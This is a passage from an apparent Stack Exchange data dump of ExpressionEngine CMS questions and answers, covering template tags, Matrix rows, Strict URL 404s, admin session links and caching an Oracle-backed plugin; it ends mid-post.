  <row Id="10858" PostTypeId="2" ParentId="10807" CreationDate="2013-05-30T15:13:53.410" Score="1" Body="&lt;p&gt;I would look into using the following EE 1.x compatible addons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/import-data-into-expressionengine&quot; rel=&quot;nofollow&quot;&gt;Import Data Into ExpressionEngine&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/csvgrab&quot; rel=&quot;nofollow&quot;&gt;CSV Grab&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/feedgrab&quot; rel=&quot;nofollow&quot;&gt;Feed Grab&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The third option is probably the easiest as all you'd need to do is set up an RSS feed in your existing site and then point to it on your new site following the documentation.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-05-30T15:13:53.410" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10859" PostTypeId="1" CreationDate="2013-05-30T15:15:01.080" Score="1" ViewCount="256" Body="&lt;p&gt;Does Exp:resso Store have out of the box support for Google analytics ecommerce tracking (like Magento)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More details: &lt;a href=&quot;https://developers.google.com/analytics/devguides/collection/gajs/gaTrackingEcommerce&quot; rel=&quot;nofollow&quot;&gt;https://developers.google.com/analytics/devguides/collection/gajs/gaTrackingEcommerce&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1576" LastEditorUserId="159" LastEditDate="2013-05-30T16:48:06.920" LastActivityDate="2013-05-30T16:48:06.920" Title="Does Exp:resso Store have Google Analytics Ecommerce tracking ability built in?" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10860" PostTypeId="1" AcceptedAnswerId="10862" CreationDate="2013-05-30T15:24:21.470" Score="0" ViewCount="111" Body="&lt;p&gt;I am trying to display a series of entries ordered by subcategories using a category segment&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_categories cat_id=&quot;{last_segment_category_id}&quot; last_only=&quot;yes&quot; style=&quot;linear&quot;}&#xA;&amp;lt;h2&amp;gt;{cat_name}&amp;lt;/h2&amp;gt;&#xA;{exp:channel:entries dynamic=&quot;yes&quot; channel=&quot;work&quot; status=&quot;not Closed&quot; sort=&quot;asc&quot; category=&quot;{cat_id}&quot;}&#xA;{title}&#xA;{/exp:channel:entries}&#xA;{/exp:gwcode_categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I can only get the cat_names to appear, I cannot get the entries to appear.&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-05-30T15:37:08.590" Title="GWCODE CATEGORIES - Channel entries" Tags="|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10861" PostTypeId="1" AcceptedAnswerId="10863" CreationDate="2013-05-30T15:35:58.817" Score="0" ViewCount="160" Body="&lt;p&gt;I'm using EE to light up a HTML email template, so, not surprisingly, I've had to resort to some trickery to get the layout working in Outlook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I have a table, and I need a cell in the table to alternate between the left and right side for every other matrix row:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{my_matrix_field}&#xA;    &amp;lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; border=&quot;0&quot; width=&quot;210&quot; align=&quot;{switch='left|right'}&quot;&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            {if row_count:even}&#xA;                &amp;lt;td width=&quot;10&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;            {/if}&#xA;&#xA;            &amp;lt;td width=&quot;200&quot;&amp;gt;&#xA;                &amp;lt;img src=&quot;{image}&quot; alt=&quot;{alt}&quot; width=&quot;200&quot; height=&quot;200&quot; /&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&#xA;&#xA;            {if row_count:odd}&#xA;                &amp;lt;td width=&quot;10&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;            {/if}&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/table&amp;gt;&#xA;{/my_matrix_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Possible?&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-05-30T16:41:44.873" Title="Target Every Other Matrix Row" Tags="|matrix|html-email|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10862" PostTypeId="2" ParentId="10860" CreationDate="2013-05-30T15:37:08.590" Score="2" Body="&lt;p&gt;I never used this addon, but looks like a &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/template_engine.html&quot; rel=&quot;nofollow&quot;&gt;parsing order&lt;/a&gt; issue. Set the parameter &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/plugins.html&quot; rel=&quot;nofollow&quot;&gt;parse&lt;/a&gt; to &quot;inward&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_categories cat_id=&quot;{last_segment_category_id}&quot; last_only=&quot;yes&quot; style=&quot;linear&quot; parse=&quot;inward&quot;}&#xA;    &amp;lt;h2&amp;gt;{cat_name}&amp;lt;/h2&amp;gt;&#xA;    {exp:channel:entries dynamic=&quot;yes&quot; channel=&quot;work&quot; status=&quot;not Closed&quot; sort=&quot;asc&quot; category=&quot;{cat_id}&quot;}&#xA;        {title}&#xA;    {/exp:channel:entries}&#xA;{/exp:gwcode_categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-05-30T15:37:08.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10863" PostTypeId="2" ParentId="10861" CreationDate="2013-05-30T15:42:58.900" Score="4" Body="&lt;p&gt;Try to use multiple switch tags.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{my_matrix_field}&#xA;    &amp;lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; border=&quot;0&quot; width=&quot;210&quot; align=&quot;{switch='left|right'}&quot;&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            {switch='|&amp;lt;td width=&quot;10&quot;&amp;gt;&amp;lt;/td&amp;gt;'}&#xA;            &amp;lt;td width=&quot;200&quot;&amp;gt;&#xA;                &amp;lt;img src=&quot;{image}&quot; alt=&quot;{alt}&quot; width=&quot;200&quot; height=&quot;200&quot; /&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&#xA;            {switch='&amp;lt;td width=&quot;10&quot;&amp;gt;&amp;lt;/td&amp;gt;|'}&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/table&amp;gt;&#xA;{/my_matrix_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2013-05-30T16:41:44.873" LastActivityDate="2013-05-30T16:41:44.873" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10864" PostTypeId="2" ParentId="10841" CreationDate="2013-05-30T15:46:34.023" Score="1" Body="&lt;p&gt;That plugin looks like it's for CKEditor 4. Wygwam uses CKEditor 3. I'm not sure if plugins from one version work with the other.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-05-30T15:46:34.023" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10866" PostTypeId="2" ParentId="10859" CreationDate="2013-05-30T15:58:54.677" Score="1" Body="&lt;p&gt;Yup. The full documentation is avilabe at &lt;a href=&quot;https://exp-resso.com/docs/store/settings_conversion_tracking.html&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/store/settings_conversion_tracking.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-05-30T15:58:54.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10867" PostTypeId="1" AcceptedAnswerId="11022" CreationDate="2013-05-30T16:16:10.663" Score="0" ViewCount="62" Body="&lt;p&gt;I developed a plugin that pulls data from an oracle (oci8) database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One function in the plugin returns hundreds of rows and the page takes about 5 seconds to load. I have caching turned on, so when you refresh the page, it takes .03 seconds to load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if there is any other things I could do to speed up or cache the data.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have optimized the sql scripts and use &lt;a href=&quot;http://php.net/manual/en/function.oci-pconnect.php&quot; rel=&quot;nofollow&quot;&gt;oci_pconnect&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13" LastActivityDate="2013-06-05T14:07:22.007" Title="EE1 plugin that outputs data from third-party oracle database, can I cache?" Tags="|php|plugin|ee1|performance|cache|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10868" PostTypeId="2" ParentId="9474" CreationDate="2013-05-30T16:26:33.523" Score="0" Body="&lt;p&gt;I have multiple functions in the plugin I created, but I'll just include one, for simplicity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For usage in the template:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:banner_courses:list_all_courses term_code=&quot;201340&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This returns all courses within the term of 201340&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll notice it calls a private function get_course_listing &quot;$this-&gt;get_course_listing()&quot;, that retrieves all courses that relate to the subject. That isn't really important.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The meat and potatoes of getting yourself up and running with retrieving data from an oracle database is in the construct&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;$plugin_info = array();&#xA;&#xA;class banner_courses {&#xA;&#xA;  var $return_data;&#xA;&#xA;  function __construct() {&#xA;    $this-&amp;gt;db = '(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=host.name)(PORT=1521))(CONNECT_DATA=(SID=instance.name)))';&#xA;    $this-&amp;gt;conn = oci_pconnect('username', 'password', $this-&amp;gt;db);&#xA;  }&#xA;&#xA;&#xA;  function list_all_courses()&#xA;  {&#xA;    global $TMPL, $FNS;&#xA;&#xA;    $term_code = ( ! $TMPL-&amp;gt;fetch_param('term_code')) ? FALSE :  $TMPL-&amp;gt;fetch_param('term_code');&#xA;&#xA;    if(!$term_code)&#xA;            return $this-&amp;gt;return_data = '';&#xA;&#xA;        $subject_query = oci_parse($this-&amp;gt;conn, &quot;SELECT DISTINCT SUBJECT_DESC, SUBJ_CODE FROM szvcourses WHERE TERM_CODE = :term_code ORDER BY SUBJECT_DESC&quot;);&#xA;&#xA;        oci_bind_by_name($subject_query, &quot;:term_code&quot;, $term_code, 6);&#xA;&#xA;        oci_execute($subject_query);&#xA;        oci_fetch_all($subject_query, $subjects);&#xA;&#xA;        $i = 0;&#xA;        $count = count($subjects['SUBJECT_DESC']);&#xA;&#xA;        $course_listing = '';&#xA;&#xA;        while($i &amp;lt; $count):&#xA;            $course_listing .= $this-&amp;gt;get_course_listing($term_code, $subjects['SUBJ_CODE'][$i]);&#xA;            $i++;&#xA;        endwhile;&#xA;&#xA;        return $this-&amp;gt;return_data = $course_listing;&#xA;  }&#xA;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13" LastActivityDate="2013-05-30T16:26:33.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10869" PostTypeId="1" AcceptedAnswerId="10873" CreationDate="2013-05-30T16:35:41.830" Score="1" ViewCount="219" Body="&lt;p&gt;I have a problem with one template after enabling Strict URLs - it returns 404 instead displaying content from the channel named News. The URL to open that template is like &lt;a href=&quot;http://www.mydomain.com/index.php/news/&quot; rel=&quot;nofollow&quot;&gt;http://www.mydomain.com/index.php/news/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {embed=&quot;includes/header_main&quot;}&#xA;    {embed=&quot;includes/header_two_column&quot;}&#xA;&amp;lt;div id=&quot;wrapper&quot;&amp;gt;&#xA;  &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;            &amp;lt;div id=&quot;content_main&quot;&amp;gt;&#xA;                      {if segment_2 == ''}&#xA;                         {exp:channel:entries channel=&quot;news&quot;}&#xA;                            &amp;lt;h1 class=&quot;orange&quot;&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;                            {news_summary}&#xA;                            &amp;lt;a href=&quot;/index.php{page_uri}&quot;&amp;gt;Read more&amp;lt;/a&amp;gt;&#xA;                            &amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;                         {/exp:channel:entries}&#xA;                    {if:else}&#xA;                         {exp:channel:entries channel=&quot;news&quot;}&#xA;                            &amp;lt;h2 class=&quot;bigorange&quot;&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;                            {news_body}&#xA;                            &amp;lt;p&amp;gt;&amp;lt;a href=&quot;/index.php/nm&quot;&amp;gt;Back to news&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;                         {/exp:channel:entries}&#xA;                    {/if}&#xA;                    &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div id=&quot;content_sub_buttons&quot;&amp;gt;&#xA;                &amp;lt;div style=&quot;background-image: url(/uploads/images/doc_photo.png); width:212px; height: 199px;&quot;&amp;gt;&#xA;                &amp;lt;div style=&quot;padding-top: 12px; padding-left: 15px;&quot;&amp;gt;&#xA;                {exp:ce_cache:escape}&#xA;                {exp:random_number min=&quot;1&quot; max=&quot;6&quot;}&#xA;                &amp;lt;img src=&quot;/uploads/images/kids/{random_number_0}.png&quot;&amp;gt;&#xA;                {/exp:random_number}&#xA;                {/exp:ce_cache:escape}&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        {embed=&quot;includes/footer&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any clue why is not loading that template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2013-05-30T16:47:35.717" LastActivityDate="2013-05-30T20:36:49.650" Title="Template issue when Strict URLs enabled" Tags="|ee2|templates|channel|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10872" PostTypeId="2" ParentId="10869" CreationDate="2013-05-30T17:54:40.473" Score="0" Body="&lt;p&gt;In your example of &lt;code&gt;http://www.mydomain.com/index.php/news/&lt;/code&gt; you need to make sure that &lt;code&gt;news&lt;/code&gt; is set as you default template group and that it contains a template called &lt;code&gt;index&lt;/code&gt;. Otherwise you have to explicitly declare the template_group/template in the URL.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-05-30T17:54:40.473" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10873" PostTypeId="2" ParentId="10869" CreationDate="2013-05-30T19:42:22.053" Score="1" Body="&lt;p&gt;Strict URL is working exactly how it is supposed to for you. From the &lt;a href=&quot;http://ellislab.com/blog/entry/expressionengine-2.6-and-strict-urls&quot; rel=&quot;nofollow&quot;&gt;EE blog&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;With Strict URLs disabled, it’s possible to visit &lt;a href=&quot;http://example.com/about-us/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/about-us/&lt;/a&gt; and view that content. But you can also visit &lt;a href=&quot;http://example.com/site/about-us/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/site/about-us/&lt;/a&gt; and get the exact same content. This flexibility can be advantageous, but it comes with a price: dual availability can cause search engines to lower the content’s ranking.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;With ExpressionEngine 2.6 and up, Strict URLs will be enabled by default in new installations. Using the same example, &lt;a href=&quot;http://example.com/site/about-us/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/site/about-us/&lt;/a&gt; is the only valid URL for that content. Visiting &lt;a href=&quot;http://example.com/about-us/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/about-us/&lt;/a&gt; with Strict URLs enabled will trigger ExpressionEngine’s defined 404 behavior. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you have &lt;code&gt;site/news&lt;/code&gt; as a template and strict URLs enabled, you can't access the news template with &lt;code&gt;index.php/news&lt;/code&gt;. You have to have &lt;code&gt;index.php/site/news&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you see if this does anything for you? Change your complex conditional to two simple conditionals:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 == ''}news home{/if}&#xA;{if segment_2 != ''}news listing{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-05-30T20:36:49.650" LastActivityDate="2013-05-30T20:36:49.650" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="10874" PostTypeId="1" CreationDate="2013-05-30T22:47:32.207" Score="1" ViewCount="220" Body="&lt;p&gt;I want to provide admin links from the main site for clients, however within the admin URL there is the session parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to output the admin url path that includes the dynamic session parameter? Alternatively i can switch the session ID off in security settings but thats a second preference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="865" LastActivityDate="2013-05-31T10:44:20.753" Title="linking to admin from the main site - session parameter" Tags="|sessions|admin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10875" PostTypeId="2" ParentId="10874" CreationDate="2013-05-30T23:11:04.270" Score="0" Body="&lt;p&gt;No, there's no native way to output the admin URL path with a dynamic session preset. You will have to have cookies turned on and include &lt;code&gt;S=0&amp;amp;&lt;/code&gt; right after the &lt;code&gt;?&lt;/code&gt; in URL.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-05-30T23:11:04.270" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10876" PostTypeId="1" CreationDate="2013-05-30T23:52:20.973" Score="0" ViewCount="123" Body="&lt;p&gt;Does anyone know a way to create a category based naviagation which has two category groups that need to relate to each other in order to build out a basic list?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have channel with two category groups assigned to it:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Type&lt;/li&gt;&#xA;&lt;li&gt;Brand&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I then have categories in said groups like so:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Type&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Guitar&lt;/li&gt;&#xA;&lt;li&gt;Amplifier&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Brand&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Guitar Brand 1&lt;/li&gt;&#xA;&lt;li&gt;Guitar Brand 2&lt;/li&gt;&#xA;&lt;li&gt;Amplifier Brand 1&lt;/li&gt;&#xA;&lt;li&gt;Amplifier Brand 2 &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now, I'd like to display a list of categories from the Brand category group. That of course is easy but, I'd like to filter that by each of the Type group categories as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: I'd like to display a list of Brands which, based on my above example cats, would display Guitar Brand 1 and Guitar Brand 2 as those are both guitars and have been assigned the Guitar category as well. I'm filtering Brands categories based on the Type (Guitars in this case).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: this is a global navigation so there isn't anything I can do with URLs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on an approach? Is this even possible with native EE? Any add-ons which would make this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your input and ideas!&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2013-05-31T00:32:45.813" Title="Category Filtering from two groups - relationships (?)" Tags="|relationships|filter|categories|category-group|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10877" PostTypeId="2" ParentId="10876" CreationDate="2013-05-31T00:32:45.813" Score="1" Body="&lt;p&gt;If I understood you right, I think it's easier to setup your categories this way:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;guitar&#xA;&lt;ul&gt;&#xA;&lt;li&gt;guitar brand 1&lt;/li&gt;&#xA;&lt;li&gt;guitar brand 2&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;amplifier&#xA;&lt;ul&gt;&#xA;&lt;li&gt;amplifier brand 1&lt;/li&gt;&#xA;&lt;li&gt;amplifier brand 2&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This way, you can filter them by its parent categories.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-05-31T00:32:45.813" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10878" PostTypeId="1" AcceptedAnswerId="10946" CreationDate="2013-05-31T08:18:09.300" Score="1" ViewCount="224" Body="&lt;p&gt;This is a very weird problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tested all the steps of the checkout process and it works fine most of the time.&#xA;By most of the time I mean, in the local environment, it works on Chrome, Safari &amp;amp; Firefox but on a live server such as the staging environment, it works on Chrome &amp;amp; Firefox &lt;strong&gt;but not Safari&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested both my own template as well as the pre-installed examples and got the same results.&#xA;No luck with Safari on Staging Env.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tested on Safari &amp;amp; Chrome on iPhone &amp;amp; iPad &amp;amp; the same thing happened. Chromes works well but Safari just doesn't want to do its job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried all the solutions from &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/5236/store-isnt-adding-products-to-the-cart&quot;&gt;this question&lt;/a&gt; but still no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is some of my system info: &lt;br&gt;&#xA;&lt;strong&gt;Safari: 6.0.4 &lt;br&gt;&#xA;EE 2.5.5 &lt;br&gt;&#xA;Expresso Store: 1.6.4 &lt;br&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think that there's any problem with the server though. have you ever experienced this issue? If yes, can you tell me where to start investigate?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="477" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-06-03T17:49:10.587" Title="Can't Add Products to Cart - Only in Safari" Tags="|expresso-store|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10879" PostTypeId="1" CreationDate="2013-05-31T08:42:59.747" Score="0" ViewCount="39" Body="&lt;p&gt;I'm trying to send multiple selections from a safecracker form to a PHP postprocess template which will eventually send emails to the emails selected on the form. This is my code;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;notified[]&quot; id=&quot;notified&quot; multiple=&quot;multiple&quot;&amp;gt;&#xA;                            &amp;lt;option value=&quot;&quot;&amp;gt;None&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;email@example.com&quot;&amp;gt;Communications&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;email2@example.com&quot;&amp;gt;Newsletters&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;email3@example.com&quot;&amp;gt;Research&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;email4@example.com&quot;&amp;gt;Corporate Services&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I add in the [] after notified in name=&quot;notified&quot; and then try to echo out the response in my postprocess form it throws up a PHP database error Error Number: 1054 Unknown column 'Array' in 'field list'. If I remove the [] I don't get the error but obviously it just shows me one of the values, even if I select more than one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure why the [] aren't working?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be very much appreciated.&#xA;Thanks, Julie&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: When I change notified[] to something[] the PHP error goes. But now I can't work out how to echo out the selected values on my postprocess page...&lt;/p&gt;&#xA;" OwnerUserId="1566" LastEditorUserId="1566" LastEditDate="2013-05-31T08:59:55.767" LastActivityDate="2013-05-31T16:54:35.490" Title="Send multiple selctions to postprocess template to then be emailed" Tags="|safecracker|php-errors|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10880" PostTypeId="2" ParentId="10874" CreationDate="2013-05-31T10:37:04.203" Score="3" Body="&lt;p&gt;It is possible, but the mechanism for generating session IDs changed for EE 2.6, so if you want to retain compatibility with 2.5 and under (as I did) you need to add in a quick &lt;code&gt;version_compare&lt;/code&gt; check.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the snippet that I'm using with &lt;a href=&quot;http://www.vayadesign.net/software/missing-link&quot; rel=&quot;nofollow noreferrer&quot;&gt;Missing Link&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sess_type = $this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('admin_session_type');&#xA;$session_id = ($sess_type == 'c') ? '0' : $this-&amp;gt;userdata['session_id'];&#xA;&#xA;if (version_compare(APP_VER, '2.6.0', '&amp;gt;=') AND $sess_type == 'cs')&#xA;{&#xA; $session_id = $this-&amp;gt;userdata['fingerprint'];&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should give you an accurate &lt;code&gt;$session_id&lt;/code&gt; no matter which EE version or session type is in use. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd strongly recommend creating a plugin for this, if you haven't already, as PHP in templates is a &lt;a href=&quot;https://stackoverflow.com/questions/13096532/is-there-ever-a-good-reason-to-use-php-inside-expressionengine-templates&quot;&gt;Bad Idea&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="77" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-05-31T10:44:20.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10882" PostTypeId="1" CreationDate="2013-05-31T11:05:25.300" Score="2" ViewCount="520" Body="&lt;p&gt;I've found out how to search and display matrix rows, but the search results page will typically only show ALL rows. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I limit the results and show only the row where the item exists?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;{exp:search:search_results}&lt;br&gt;&#xA;  {title}&lt;br&gt;&#xA;  {matrix_stuff}{matrix_title}{/matrix_stuff}&lt;br&gt;&#xA;  {/exp:search:search_results}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;There is a hack that works, but not a definite answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In mod.search.php add after line 1298( before $pagination):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// hack&#xA;// Load the XML Helper&#xA;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;helper('xml');&#xA;&#xA;$keywords = $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;encode_ee_tags(xml_convert($query-&amp;gt;row('keywords')));&#xA;// end hack&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And after line 1411 before $channel-&gt;fetch_categories();&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// hack add keywords&#xA;$this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata = str_replace(LD.'keywords'.RD, $keywords, $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata);&#xA;// end hack&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This makes it possible to use this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:search_results}&#xA;{title}&#xA;{matrix_stuff 